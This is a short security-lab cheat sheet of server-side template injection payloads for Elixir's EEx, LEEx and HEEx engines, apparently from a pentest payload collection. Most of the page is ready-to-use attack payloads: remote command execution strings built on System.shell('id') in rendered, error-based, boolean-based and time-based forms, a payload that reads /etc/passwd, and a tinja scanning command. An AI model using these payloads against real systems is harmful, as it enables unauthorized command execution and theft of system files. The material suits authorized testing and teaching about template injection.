TechnoFreaks - Security Lab
128 Payloads

Server Side Template Injection Payloads & Testing Methodology

tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."

Overview (README)ASPElixirJavaJavaScriptPHPPythonRuby

Server Side Template Injection - Elixir#

Server-Side Template Injection (SSTI) is a vulnerability that arises when an attacker can inject malicious code into a server-side template, causing the server to execute arbitrary commands. In Elixir, SSTI can occur when using templating engines like EEx (Embedded Elixir), especially when user input is incorporated into templates without proper sanitization or validation.

Summary#

Templating Libraries#

Template NamePayload Format
EEx<%= %>
LEEx<%= %>
HEEx<%= %>

Universal Payloads#

Generic code injection payloads work for many Elixir-based template engines, such as EEx, LEEx and HEEx.

By default, only EEx can render templates from string, but it is possible to use LEEx and HEEx as replacement engines for EEx.

To use these payloads, wrap them in the appropriate tag.

erlang4 lines
elem(System.shell("id"), 0) # Rendered RCE
[1, 2][elem(System.shell("id"), 0)] # Error-Based RCE
1/((elem(System.shell("id"), 1) == 0)&&1||0) # Boolean-Based RCE
elem(System.shell("id && sleep 5"), 0) # Time-Based RCE

EEx#

Official website

EEx stands for Embedded Elixir.

EEx - Basic injections#

erlang1 line
<%= 7 * 7 %>

EEx - Retrieve /etc/passwd#

erlang1 line
<%= File.read!("/etc/passwd") %>

EEx - Remote Command execution#

erlang4 lines
<%= elem(System.shell("id"), 0) %> # Rendered RCE
<%= [1, 2][elem(System.shell("id"), 0)] %> # Error-Based RCE
<%= 1/((elem(System.shell("id"), 1) == 0)&&1||0) %> # Boolean-Based RCE
<%= elem(System.shell("id && sleep 5"), 0) %> # Time-Based RCE

References#